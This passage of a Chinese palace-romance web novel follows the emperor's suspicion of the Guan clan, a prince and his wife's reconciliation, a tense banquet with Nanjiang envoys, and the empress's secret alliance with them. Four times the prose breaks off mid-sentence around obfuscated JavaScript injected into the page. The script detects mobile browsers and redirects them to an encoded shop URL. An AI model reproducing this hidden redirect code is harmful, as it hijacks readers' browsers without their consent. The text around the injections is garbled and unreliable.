虞帝冷哼,锐利的眸子盯着那人发抖的背脊。 “吴州矿产外输的事还没查清楚,倒是有心费力去揪陇西的错,关渭,祸水东引的手段,你们关家还真是信手拈来啊。” 被称为“关渭”的大臣属于关家旁枝,近几年颇受重用。他听出皇帝话中的猜忌,当即大震,重重叩首下去:“臣惶恐!” “滚回你府上。”虞帝脸色阴沉,暗卫接到命令,跪在地上的官员很快被连拉带拽逐了出去。 小院中变得安静,晦暗的环境中,虞帝的脸色愈发阴晴不定。 古往今来,门阀士族之间倾轧不休,只要适度制衡,就是推动皇权向稳的好手段,这么多年过去,他自认掌舵从容,没有使任何一股势力脱出掌控,可如今纷乱频出,今日,关家竟冒着风险,将如此一份“大礼”送到了他的面前。 姜家,西戎…… 虞帝眯起眼,须知无风不起浪,罪名一旦提出,疑心就会在人心中发芽。 钱顺海迈着小碎步赶前来,弓着腰,双手捧着一件物什送到虞帝面前,笑道:“栖霞山的侍卫在巡查时发现了一枚玉扳指,方才送了回来,老奴已经看过,正是陛下平时戴的那枚。” 栖霞山上修有姜夫人的陵寝,今日圣驾微服出宫,就是去了那里。虞帝扫了几眼,方想起他在碑前祭酒放花时感到不便,摘下扳指随手放在一旁,临到离开时便忘到脑后了。 虞帝接过扳指,拿在手里把玩,须臾无端感到疲倦起来,脑中浮现出一个柔美朦胧的身影。 翎音啊翎音……朕前脚才去见过你,后脚竟就听了有心之臣的谗言佞语,对你的家族疑心不已。 四下安静,在场之人皆为心腹,英明的天子枯坐车中,少见地露出怀念之色,一时苍老许多。他的亡妻,不仅为他留下了忠心赤诚的母族,还有一双惹人疼爱的儿女,长子成熟沉稳,幼女…… 不知想到什么,虞帝摇了摇头,道:“回宫吧。” “哎。”钱顺海应了一声,吩咐车夫起驾。 离开小院,车轮辘辘向前,行过僻静的街市,良久,车帘后面传出一声长叹。 提起虞静央,他本想说娇俏早慧,可那是五年前,现在的她,已经被自己的姻缘束缚磋磨成了什么样? 在皇位上坐了将近二十年,虞帝早已心肠冷硬,现在却颇觉伤痛。 钱顺海正跟在马车旁走着,车帘从里面掀开一个缝隙,吩咐道:“明日一早你到央儿府上传话,南江使团入京设宴时,她若不愿见,朕许她称病不列席。” 先前看圣上的态度,似乎已然下定决心维持与南江的关系,没想到这时候会忽然心软。钱顺海微惊,低头应道:“老奴遵旨。” --- 从坤宁宫离开后,虞静延带着祝回雪回府,路上一句话都没有说,祝回雪有些不安,可看他不像想和自己说话的模样,便也只有一言不发。 一直到回到王府,两人之间的气氛都格外沉闷,下人见状亦不敢多话,噤声候在庭院外。 向下面的人交代完所有事务,虞静延兀自走向书房,祝回雪立在廊前望着他,眸中黯了黯。 必然是她之前暴露了什么蛛丝马迹,否则就不会引起关皇后的疑心,而今出了事,不知又要给他添多少麻烦。 已然到了就寝时分,初桃方去看过小主子,回来道:“王妃,小郡主已经睡下了。” 外面形势纷乱,好在没有影响到乐安。祝回雪怅然吐了口气,道:“乐安的布老虎还在我房中放着,你给她送过去吧,不然明日起来又要四处找。” “哎。”初桃应了声,又感到担心,“王妃明日要去哪儿?” 去哪儿…… 祝回雪眼睫一颤,其实心中也有些迷茫。她复抬起眼,隔着几道走廊望向那道漠然远去的背影,下意识往前迈了半步,就在这时,那人步入书房的脚步竟骤然停下,旋即回头,快而大步地向她走了回来。 祝回雪慌了神,仓皇向后退,但虞静延没有给她机会,一把攫住了她的手腕,也不顾四周还有初桃等侍女小厮在场,直接拉着她进了内室。 房门被哐地关上,祝回雪急喘几声,几乎感到腿软。事到如今,虞静延还在乎什么从容体面,一步步逼近她:“你就没有什么想对我说的吗?” 他黑沉的眸子里翻滚着情绪,紧紧锁在她脸上,祝回雪心下更是慌乱:“今日多谢殿下入宫,替我解围……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598395|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她喉中干涩,说出两句后反而感到放松了一些,于是定了定神,继续道:“妾身的身份暴露了,就算陛下不追究,皇后也抓不住把柄,可朝堂上言行传统的老臣多不胜数,殿下不肯让步,依旧会遭受数不清的弹劾攻讦。” “所以,你就要自请下堂,与我和离?” 他的声音和往常没什么区别,祝回雪却听出了一丝异样。她猝然抬头,见虞静延立在原地,血丝不知何时漫进了他眼眶。 “这些年你在我身边,是不是过得很不开心?就连乐安都不能成为留下你的理由。” 祝回雪一颤,立刻摇头否认,心伤之余,理智驱使着她冷静下来。 “妾身之所以提出和离,是因为……” 她心神稍定,努力平稳着语气,轻声道:“殿下在朝堂上辛苦谋划多年,不该因妾身一人折损羽翼,使忠臣寒心。待妾身离开王府,就不必再受皇家规矩的束缚,殿下亦可再觅新人,早日生下小世子……” 夫妻本是一体,合该荣辱与共相互扶持,她想要自由,他也从未对她有过什么约束,虞静延不信她会为这些而退缩,终究还是子嗣的事。 他闭了闭眼,哑声道:“你说的这些,其实最后才是重点吧?” 她果然说不出话了。虞静延望着她轻颤的眼睫,心中后悔到了极处,有禁药的事在前,他一心想要她先低头,可若他没有端着那所谓的架子,早些找她解开心结,是不是今日就不会听到这诛他心的话? “……那匹布料,怪我。” 他终是服软,把有关石榴百字纹布料的一系列疏漏向她和盘托出。祝回雪听后怔然,半晌僵在原地。所以令她耿耿于怀至今的那件事,只是一个阴差阳错产生的误会,他没有心口不一,也没有像其他人那样逼迫她? “我的确期待子嗣,可那也不过是个可有可无的期盼,并非没了你,我便要和其他人生儿育女。至于和离,你想都不要想。” 说完,虞静延最后望了她一眼,转身欲离开。 祝回雪眨了一下眼,终于从愣神中反应过来,见他要走,她动作比意识快,大声唤道:“殿下,等等!” 虞静延原本思绪复杂,一颗心像是沉进了幽深的水底,让他憋闷得喘不过气来,临出门时又被她突然拉住了袖角。他双唇紧抿,回头却见她呼吸急促,眸中闪着和平常不一样的光。 祝回雪一心急着再度求证,确认刚才自己没有听错:“那匹布料,不是殿下有意送来的?” “我岂会故意戳你的心?”虞静延眉头紧皱。 她的心思细腻又敏感,他一向都知道。还记得他们刚刚成亲的时候,有次他在朝中受挫,由于心情不佳,回来后便有些冷淡,谁知叫她误以为是自己惹了他不满,于是一连三日都没有出现在他面前,直到他不明真相忍不住去找她,她才惴惴不安地说了实话。得知后他哭笑不得,后来便常在她面前提起政事相关,起初她还劝说女眷不应干政,过了一段时间也就逐渐习惯,继而更能通过朝堂大事理解他的情绪变化了。 几息的功夫,祝回雪的神色从怔然渐渐松动,眼中微颤,甚至漫上淡淡的水雾,失声道:“你为何不早些告诉我呢?” 63. 共识 她几乎在控诉,没了规矩不说,连一贯坚持的尊称也忘了。这么久过去,她为那匹布料、为许多蛛丝马迹耿耿于怀,以为时过境迁,他们之间的夫妻情分日渐淡薄,连相敬如宾都难以为继,如今呢?她突然发现,那些所谓的“细节”都是她自以为是多想出来的,其实半点问题都没有! “妾身还以为……” 祝回雪忽然红了眼睛,又生气又委屈,让虞静延也愣了一愣。他何其聪明,又和她做了多年夫妻,自然了解她的心思,见她如此神态,只稍微想了想便全然明白了。 “我说你喜欢胡思乱想,现在呢,还不肯承认?” 虞静延叹了口气,原先心里的失望、疲倦,现在全都化成了无奈,“别哭。” 她开始自责,可他又岂会没有错。若他能早些看出她的郁郁和强撑,及时同她解开心结,哪里还会有后面这么久的冷战和矛盾? “殿下息怒,求您饶过王妃!” 方才虞静延气势汹汹把祝回雪拉进了房门,初桃护主心切,不顾张栩阻拦在外焦急大呼。片刻过去,门终于被打开了,初桃一喜,却见晋王依旧面色冷峻,而自家主子却眼含水光,看起来格外伤心,不知是经历了什么。 见此情形,初桃更是吓得不轻,想起先前两人矛盾的导火索,终于决定不顾主子叮嘱,把一切和盘托出。 她扑通一声跪在地上,哭求道:“殿下,王妃是无辜的!这些年人人都要来关心一嘴王妃的肚子,王妃怕您担心一直忍气吞声,如何能不心思郁结?先前您撞见的那碗禁药根本就不是王妃差人寻的,而是皇后暗中赏的!” 这一番话如同几声惊雷,在虞静延耳畔先后炸响。关于王府久无子嗣的流言,曾经也有嘴碎之人在他面前提起,无一不被他当众撂了颜面,久而久之便没人敢再来触霉头,他自以为已经帮她把外面不好听的声音全都料理干净,却没想到在他看不到的地方,依旧有人仗着她的温和良善蹬鼻子上脸,美其名曰“忧心关怀”,实则大行欺凌之事。 从前,他知道她需要自己的空间,所以平常只是派守卫保护她的安危,旁的一概不插手。而她总觉得自己的事是为他添麻烦,在外被人奚落,回来也憋在心里,这样忍辱负重的日子,她独自捱了几年。 少说多做,留出让彼此舒适的一隅之地……他们明明都在为对方着想,得到的结果却与希望背道而驰。 还有,那碗禁药…… “她说的这些,是真的吗?”虞静延胸膛起伏骤然加快,忍着满腹情绪,转回去问。 祝回雪脸色发白,半句否认的话都说不出来,因为初桃所言无一不真。她自认坚强,既放不下脸面向他告状,又怕他得知后在外树敌,在朝堂上制造本不必要的障碍,所以即便受风言风语影响也从不向他倒苦水,只是自己一人把不好的情绪消化干净。 关皇后同王府的矛盾由来已久,美其名曰关心子嗣,常常借由头降下“赏赐”,有时是身段姣好的通房美妾,有时则是一些所谓助孕的偏方药膳。前者送到虞静延面前,每每被原封不动地遣了回去,而后者直接送进祝回雪房中,由不得她拒绝。 那些汤药无害,可到底多而涩口,一碗又一碗喝下去,直叫人苦进心里。最近一次,坤宁宫送来的不再是像以往一样的药膳,而是一副寻常郎中医馆都不敢用的、足以对身体产生不可逆的伤害的禁药。 巴掌大的药碗里热气蒸腾,散发出酸而苦涩的味道,祝回雪捧在手里,却并没有喝,而是渐渐硬起了心肠,眸中藏着决然。 “去把胡蝉找来,就说上次说的施针,我考虑好了。” 她吩咐初桃,又补充道:“把消息放出去,一定要让殿下知道。” 她暗中推动着一切的发生,任由虞静延怒气冲冲闯进卧房,同她争吵,那天,她摸清了他心中最深处的底线。直至今日,既然关皇后毫不留情,想要先下手挖出她最大的秘密并开罪王府,她又何必再畏首畏尾地把自己夹在中间,试图调和这根本不可能调和的矛盾? 从前受过的那些委屈,现在没有必要再忍下去了。 初桃进退无助,算是把所有事都一口气吐露了出来,张栩生怕主子发怒,趁着无言之际手忙脚乱把人带了下去。 房门再度关上,祝回雪抿了抿发干的嘴唇,正想着如何措辞坦白,腰间却突然袭来一股很大的力,重重把她拉到了怀里。 “为什么不告诉我?”头顶传来压抑的声音,又低又哑,“如果初桃没说,你是不是就要瞒我一辈子?” 祝回雪本来是冷静的,如今猝不及防被拥进怀中,让她忽然感到一阵鼻酸。以往为了自卫被迫长出的一身坚硬鳞片,现在好像正在软化脱落。 她没有出声,而是闭上了眼,短暂地放任自己沉浸在这令人安心的温暖里。 不知过了多久,两人分开,祝回雪声音微涩,轻道:“从前的事,是妾身不对……” 虞静延却不打算这么放过她,沉声问:“我与你说这么半天话,就是为了要你一个道歉?” 她自知理亏,低头不言。虞静延望着她,认真道:“从今往后,不许再提起和离的事。乐安不会让你走的。” 他说完停顿半晌,仿佛怕她误解一般,又低低补充:“……我也一样。” 祝回雪静静听着,忽然心头一动:“殿下,你……” 迅速闪过的念头如同烟花炸响,让她不敢相信,却停留在脑海中忽略不去。 她眸光前所未有的晶亮,奈何虞静延在感情上最是个迟钝的人,自顾自继续道:“今日的事,你不必理会皇后。只要你想写,那就一直写下去,没人可以置喙。” “以后若再有人敢用子嗣的事在你面前说三道四,你莫要再忍让,要是感到为难就告诉我,我自会替你出头。” 既然两人已经解开了心结,祝回雪也不是个矫情的人,顺着点了点头。 虞静延望着她温婉如画的眉眼,争吵时硬起的心肠早不知何时软了下来。他上前一步,让两人间原本面对面的距离更加挨近,低晦道:“的确,王府需要一个继承人,可你忘了?我们的乐安,她想做女君子。” 祝回雪一惊,当即抬起头。他的意思是…… 只要他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623855|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有心为之,难道乐安真的不可以吗? 纵使现在听起来好像天方夜谭,可以后的事谁说得准?祝回雪倍受触动,从前只敢自己在心里想一想的事,以为永远是奢望,现在却如此水到渠成地和她的丈夫达成了共识。 不论怎样,她的女儿日后都不必囿于后院,总归可以看到更广阔的天空。 “妾身明白了。” 她眼角微湿,眸光却是亮的,心中亦如塞进了一簇火苗,又亮又暖和。 --- 秋风徐徐盈袖,宫墙城楼上处处旌旗飘扬,午日正盛时,禁卫浩浩荡荡出动,属于南江的队伍车驾停在宫门外。昨夜抵达玉京的南江使团于四方馆暂居,翌日正式入宫朝见,终于同大齐皇帝会面。 从玉京城到皇宫,入眼皆恢弘有序,同月前梨花寨到访时的排场相比有过之而无不及,可见大齐拿出了足够多的诚意。 以郁沧为首的南江众人看在眼里,心中颇为满意,同礼官交换文书后便入座列席宫宴。丝竹声渐起,郁沧搜寻的目光缓缓扫过殿中,见文武百官都在场,也有几位皇子公主在席,却唯独没有那个他想看到的身影。 随从悄然禀道:“殿下,听闻储妃今日身体抱恙,便没有来。” 身体抱恙…… 郁沧心里暗暗冷笑,究竟是抱恙,还是不想见他? 然而此次南江派使团前来,目的不仅仅是接回虞静央,几位老臣心中有数,面色如常与人交谈。这时,上首关皇后笑着道:“玉京气候干燥,如今又已入秋,更加不比南江的潮湿温暖。本宫已命人在四方馆备好了驱寒药方,诸位使臣远道而来,若有不适也好应付一二。” “有劳皇后。”郁沧耐着心思谢过。 两方一来二去客套一番,郁沧说着话,实则心绪早已游离。见眼前众人的神情无一不是自然无比,他心中不由涌起一阵火气,终是耐心用尽,问虞帝道:“敢问陛下,不知储妃现在何处?” 他口中的“储妃”,自然就是三殿下虞静央。殿中气氛安静了一瞬,虞帝拿酒盏的动作微顿,旋即恢复如初:“央儿偶感风寒,不能出席今日的宫宴,现下在自己的府邸休养。” 郁沧沉下眸子:“那么,孤要何时才能与她相见? 南江使团来时擅自绕路不进京,先有未经准许进入兰县,后是试图私下逼迫虞静央屈服,若前来的队伍里只有大臣,他们不敢如此嚣张。虞帝事先经过了臣下的禀报,知情之余,对郁沧这个南江储君的印象也更差了几分,现下面对如此近乎质问的口吻,自然也不会留情面。 虞帝不答,仰头饮尽盏中酒。豫阳长公主见状,徐徐回道:“央儿的身子弱,还要看何时才能见好转。与其无用焦心,储君不如先将目光放在政事上,同外事司商谈盟约要务。” 身子弱? 郁沧放在桌下的手恼恨地握紧,依然用白布包扎着。她明明早就已经养好了身体,不仅十分康健,心肠亦是格外的狠,那天为了脱身毫不犹豫地割伤他手掌,所用的那把暗器小巧,却锋利至极,倘若习武之人找对位置,足以做到划开喉咙一刀毙命。 64. 败将 陪在一旁的南江老臣知道轻重,生怕储君被火气冲昏头脑影响两国邦交,忙出声应和:“长公主说得甚是,只看贵国官员何时安排商议,我等随时恭候。” 他们的姿态已然放低,大齐便不吝顺着台阶走下来。外事司众臣顺势出面与南江使者闲谈起来,气氛也算融洽,伶人舞姬款款入殿,丝竹玉磬声声悦耳,一片升平气象。 酒过三巡,钱顺海面带喜色,迈着小碎步进来:“陛下,城外来报,萧将军带着淮州军回来了!” 好消息来得突然,虞帝豁然起身,高声道:“快宣!” 不到一炷香的功夫,殿外传来通报声。萧绍腰间佩剑大步入殿,一身玄色战甲未脱,一看便知是星夜兼程从战场上归来,落后两步的位置还跟着几个副将,同样穿着盔甲。 歌舞悄然而歇,萧绍行至大殿中央,向天子见礼:“臣萧绍,叩见陛下万岁。路经数城连日暴雨不休,大军难以通过,无奈之下只有缓行,因此误了归期,望陛下恕罪。” “快起来。” 这次淮州军重创东瀛,乃是大功一件,虞帝自然不会对此等小事怪罪,免了他的礼,问道:“大军现在如何,可有随你入城?” 如今众人的注意力都在萧绍身上,郁沧也不例外,他的席案设在右侧上首的位置,只能看见大殿中央那人的一半侧脸,但由于相隔太远也看不清晰。君臣两人说着话,郁沧的目光紧锁着那人高大的身影,无声眯起了眼。 原来,这位便是自家储妃的“旧情郎”。分明素未谋面,却让他感到有些熟悉,就连这声音,他都好像在哪里听到过。 萧绍起身,拱手道:“回陛下,此次将士伤亡不多,已将先前被东瀛掠去的百姓财物悉数追回,现下陈兵京郊五十里外,只待圣上驾临亲点。” “待宴席散去,朕自当亲自前去慰问将士。” 虞帝很是高兴,宫人捧出早已准备好的圣旨,当下便宣读,为参与此战的将士论功行赏。 淮州军将士回来得巧,正好赶上为南江使团接风的宫宴,萧绍等人领赏谢恩,因着战事得胜的缘故,凡是大齐人都面露笑容,但对南江使臣们来说,此时便显得有些格格不入了。 虞帝龙颜正悦,像是这时候才想起还有外臣在场,笑意爽朗向使臣介绍:“诸位使者应当还不知道,此乃我大齐淮州军主帅萧绍,前段时日追剿海上倭寇,得胜方归。” 南江使臣纷纷见礼,又向虞帝奉承称赞一番,实则心思各异。淮州军,齐国现在最精锐的军队,须知十几年前那场大战中,齐国派出的是由各地守军组成的大军,不仅实力平平,作战经验也不够,倘若那时淮州军恢复过来加入战场,结局就未必还如今日一样了。 这个萧绍早不回来晚不回来,偏偏要选在他们进京后,还带回万数大军陈兵城外,何尝不是一种对他们的威慑? 郁沧盯着那道身影,说道:“久闻萧将军大名,今日得见,果真非同一般。” “储君过誉。” 听见侧席有人搭话,萧绍方才转过半个身体。这一转身让郁沧看清了正脸,当萧绍嘴角放平,缓缓抬起冷峻的眸子同他对视时,郁沧瞳孔一缩,几乎是立刻站了起来。 声线冷而低沉,挺拔颀长的身形,深邃而分明的面部轮廓,渐渐与那天画舫中藏身的披风男子合为一体。即使当时郁沧没有看见那人的正脸,但声音没有变,种种相似,在这一刻已经足以让他确定——他们两个就是一个人! 他们在酒楼里掘地三尺,都没有找到虞静央的踪迹,最后在湖边游廊处看了一圈后便离开了。若那个男子是萧绍,女子岂不就是…… “啪!”一瞬间,暴怒淹没了郁沧的全部神智,心中绷着的一根弦霎时间断了,手掌拍在桌案上用了十成十的力。就在他将要冲出席位之际,大惊失色的南江臣子反应过来,更快一步地上前紧紧抱住他:“殿下,殿下这是做什么?!” 郁沧被几人死死拦住,动弹不得,一边却目眦俱裂,急喘着粗气,狠戾的目光死死钉在萧绍身上,仿佛通过眼神就要将人千刀万剐。他如何能不恨,恨当日不曾发现此人的真面目,竟茫然不知自己的妻子坐在别人怀里予取予求! 好在他还不是半分理智都没有,碍于仍在宫宴之上,周围满是齐国人,郁沧强压下喉头涌起的血腥气,终于停在了原地,声音尚带着盛怒未消的微抖:“萧将军,前日是不是来过兰县?孤瞧着你,倒是觉得颇为眼熟。” 眼见面前人失态至此,萧绍脸上却不见任何疑惑或惊讶的神情,平静无波的眸子如一片深沉的海:“储君殿下,你怕是眼花了。” 他仍立在大殿中央,面上无甚特别的情绪,定定与那脸色铁青的人对视,不躲不闪,明明什么都没有,看在郁沧眼里,却见他嘴角勾起一丝嘲弄的笑。 好像挑衅,又好像看手下败将的同情。 郁沧脑中一嗡,险些就要歪倒下去,被身边的臣子慌忙扶住。直到这时,殿中在场的大齐人才如梦初醒地回过神,虞帝疑惑地看了一眼萧绍,问道:“这是出了什么事?” 南江使臣怕横生枝节,笑着扯谎:“还望陛下恕罪,萧将军的容貌与一位故人相似,我们殿下看重那人,一时又觉得格外眼熟,这才失态了。” 虞帝听后觉得奇怪,道了一句“原来如此”。殿中氛围有些僵滞,祝回雪见状,噙笑道:“淮州军抵御东瀛,班师路上又逢大雨,怕是日夜不休赶路,这才能赶在今日归来。诸位使臣在兰县还是两日前的事,如何能与继淮见面?储君殿下,你应是真的认错了人。” 祝回雪是之前和虞静央同去兰县的人,也在那里与南江使团打了照面,自然话语最有说服力。虞帝听罢也放下疑虑:“确实如此,想来是件巧合。” 有了皇帝发话,气氛不似方才紧张,无形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655809|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中有所回暖。郁沧被臣子半拖半带地扶回到席位上,眼神却依旧锁在萧绍脸上,胸膛因急怒不断起伏,萧绍作为被“冒犯”的那个人,宽宏大量地推辞了南江臣子的赔罪,而后径自走向自己的位置入座,无人看见的地方,他眸中露出讽刺。 她不想认,那他就顺从她意,但就是“不认”,才更能让那个人气到死。 --- 翌日,公主辇轿停在坤宁宫门前。没想到虞静澜会突然前来,宫人纷纷福身行礼,拦在她面前:“见过四殿下。” 因为有人阻拦,虞静澜入内的脚步被迫停下,惯常阴郁的脸色此时更添了一抹不愉。 “挡什么道?让开。” 她兀自向殿内走,宫人不敢强拦,只有战战兢兢地紧跟在她身后,眼见她一路进往正殿。虞静澜推开大门,就见自己的母后安坐在主位,一旁跪着的宫女不知在收拾什么东西。 许是朝政相关的奏疏。她扫了一眼,并未多想,如常屈膝行礼。关皇后面上并无异色,叫她起来后问道:“现在不是请安的时辰,你怎么突然进宫来了?” “女儿想念母后了,难道还要讲究时辰?”虞静澜道,主动走上前坐在关皇后身边,余光无意一瞥,见方才那个宫女收拾的东西被收在锦盒里,盖得严严实实,那盒子上的装饰风格不像中原的东西。 “这是什么?”就在宫人将要从她面前拿着撤下去的时候,虞静澜突然开口问道。宫人见状面露紧张,下意识就去看关皇后的脸色,虞静澜起了疑心,二话不说站起来,从宫人手里夺过。 眼瞧着她是不弄清楚不会罢休,关皇后揉揉眉心,竟主动坦白了:“是四方馆来的信。” 虞静澜原本还在拿宫人手里的锦盒,听罢顿时僵在了原地。四方馆,那是朝廷接待外臣的居处,这次南江使团入京,不就在…… 半晌,她才回过头,不敢置信道:“母后,你与南江使团取得了联系?” 她口无遮拦,直接把众人心知肚明却三缄其口的事说了出来,关皇后扫了一眼殿内,宫人们的头无不垂得更低,纷纷悄然退了下去。 待到殿门关上,虞静澜豁然站了起来,问:“南江人阴狠狡猾,母后想要做什么?” 虞静澜极少对政治有关的事上心,即便有时问起也会被关皇后三言两语揭过,毕竟对一位公主来说涉足朝政党争不是好事,还可能惹祸上身。而这次,关皇后却不打算瞒她,缓缓道:“傻丫头,若我们再不出手,何时才能除掉那根眼中钉,肉中刺?” 虞静澜怔了一怔,旋即明白过来——母后处心积虑与南江人取得联系,甚至达成合作,是为了解决虞静央,好把她早日赶回南江去! 即便想到了这样做的目的,她依旧无法接受,声音也不由自主抬高:“解决虞静央是我们自己的事,怎能让关家与外族勾结?母后如此做是与虎谋皮,是在威胁我大齐国本!” 65. 圣心 南江是边疆外邦,关家却是生长于大齐的门阀士族,与他们扯上关系,往严重了说就是通敌叛国!要是让父皇知道了,整个关家岂还有活路? “那又如何?只要能除掉她,除掉姜家,做什么都无所谓!”见虞静澜越说越激动,关皇后也站起了身,因激愤而变得面容扭曲,“五年前你险些丢了性命,躺在榻上奄奄一息的模样,连自己都忘了吗?你自己都忘了,还有谁能记得,还有谁能为你报仇!我做这一切,明明都是为了你!” 饶是虞静澜平日再孤僻沉闷,但也到底是少女心性,如今早被吓得脸色煞白,腿软坐在了身后软榻上。她知道母后一心报仇,像自己一样敌视虞静央,却没有想到母后表面冷静,实际比她想象中的还要偏执。 须臾,虞静澜颓然抬起头:“母后,一定要这样做吗?” 她甚至愿意放下仇恨,与虞静央老死不相往来,只要关家迷途知返,不再冒险这样做。 一番话堵在喉间,可面前的母亲脸色铁青,每每提起虞静央时,眼中总是会燃着仇恨的火,更叫她分毫不敢将这种话说出口。有时候她也会感觉到,却又仿佛是她的错觉——在自己的母后心里,对虞静央的恨意比她更深更重,而这种恨意,似乎并不只是来源于一场蓄意为之的下毒案。 关皇后脸上没有任何犹豫的神情,冷然道:“我意已决,自会同你外祖和舅父商量,你不必管了。” 他们与南江人有着同样的目的,可谓是一拍即合,她帮郁沧推动虞静央归去,亦是为自己解决麻烦,日后南江同大齐盟约复合,南江人便会兑现承诺,为关家拿到边境的盐政权。 --- “这是蒙州进献的葡萄,很甜,阿绥尝尝。” 公主府,祝回雪坐在虞静央身边,替她剥好了葡萄。虞静央笑了笑,倒也没有推辞:“多谢嫂嫂。” 她接过那小碟青玉般剔透的葡萄,入口生津,很是清甜。虞静央喜欢吃甜食水果,若放在以前,她现在早就会弯起眼睛,今日却笑意淡淡,眉目间笼罩着一缕郁色。 见她如此,祝回雪心中百味杂陈,暗暗叹了口气。自从南江使团入京后,阿绥就变成了如今的模样,可想来也是,那些南江人在一日,就好像在她头上悬着一把刀,随时可能落下来,形势如此,要她如何不惶惶终日? 说起这南江储君,也当真是狂妄到了极处。那日宫宴之上,陛下本已经回绝了他与阿绥见面的事,想要为阿绥延缓几日时间,可他呢?几次三番无视圣上的意思,不请自来到公主府门外逼迫阿绥露面,若非府外看守的侍卫都是事先换过的,恐怕还真要屈服于淫威放他进去。不仅如此,有次他在宫外偶遇继淮,亦不知收敛出言讥讽,好在继淮理智尚存,依然保持了基本的礼数分寸,没有一时被怒火冲昏了头脑,同他当街动起手来。 郁沧敢这样行事,无非还是因为对大齐的蔑视已经深入到骨子里,以为他们还是五年前那个战败国。 祝回雪暗自愤慨,好在近日陛下有心保护阿绥,似乎透露出几分态度偏向,事到如今,她只希望那位能继续坚持下去,不要因南江给出的丰厚条件而动摇。 她这样想着,目光移向自己右边坐着的姜瑶,却见她手撑着下巴,也是一副心不在焉的模样。 “瑶儿,你怎么了?”祝回雪诧异。 姜瑶因这一唤回过神,抬起头就见表嫂和表姐齐齐看着自己,面上写着关切。 “我……” 想起那件困扰自己很久的事,姜瑶面露挣扎,终于下定决心坦白,“表嫂,表姐,如果有人对你们说姜家勾结西戎,你们会不会信?” “什么?!”没想到她语出惊人,祝回雪和虞静央双双一惊。虞静央更是脸色微变,心中顿时有了模糊的猜测。 难道是陇西那边…… 姜瑶定了定神,将前几日在家中的所见所闻和盘托出。 …… “老奴冤枉,老奴冤枉!” 紧闭的书房门内,姜瑶原本来给父亲送饭食,听见里面的动静,她骤然停下了脚步,敲门的手停在半空。 这声音她认得,是高彭,陇西矿地的管事。 求饶夹杂着磕头的沉闷声响,紧接着,里面传来姜侯恨铁不成钢的声音:“陇西的矿地一共就那么多,如今产量连年减少,货不对账,你们做过的那些事我已尽数查清!事到如今,你还不肯承认吗!” 姜瑶登时心中一跳。早在几个月前,晋王表哥就把陇西矿产异常的事告知了父亲,说是边疆的一些小矿坑空陷,那时她听了还没有放在心上,觉得应该是误会一场,如今不成想竟是真的。 高彭痛哭流涕,不难想象出此时的狼狈,姜侯疲倦的声音再度响起:“你们不仅做了,而且利欲熏心,捅出个天大的篓子。现在关家和吴王已经发现,以叛国罪禀到了陛下那里,高彭,你若再不招认幕后主使,我也保不住你。” “老爷饶命!”高彭被吓破了胆,传出几声衣袍拖在地上摩擦的声音,估计正仓皇抱住了姜侯的腿。 姜瑶屏住呼吸,听见他道:“老奴一时糊涂,是与黄三郑强几个暗运矿石,但也只是为了挣点小钱糊口,绝没有与西戎人暗通款曲啊!” 姜侯厉声:“与西戎无关,那你们究竟是与何人勾结,又把那些矿石运去了何处?!” 高彭惧怕不已,终于也反应过来他们为了那点蝇头小利,做出了后果多么严重的事:“那个接头人蒙着面,每次只负责拿货给钱,至于他们究竟为谁效力,拿矿石去做什么,老奴一概不知啊!” 虞帝从栖霞山回来后没有立即回宫,而是秘密见了关渭。姜府有自己的眼线,第二日便把这件事禀报给父亲,父亲得知后缄口不言,却把自己在书房里关了一夜,原来那时关家急着见陛下,竟是发现了陇西矿坑的不对劲,还是以通敌叛国的罪名告发……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672651|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 房门外,姜瑶脸色苍白,手中食盒不慎磕在门框上,立马被房中的人警觉,“谁在外面!” 姜侯急急打开门,看见原来是姜瑶站在原地,反而松了口气,铁青的脸色缓和几分,疲惫道:“瑶儿,你都听见了?” 姜瑶虽然没有点头,神情却骗不了人。她被如此重大的消息砸得缓不过神,声音艰涩:“父亲,现在我们该怎么办?” …… 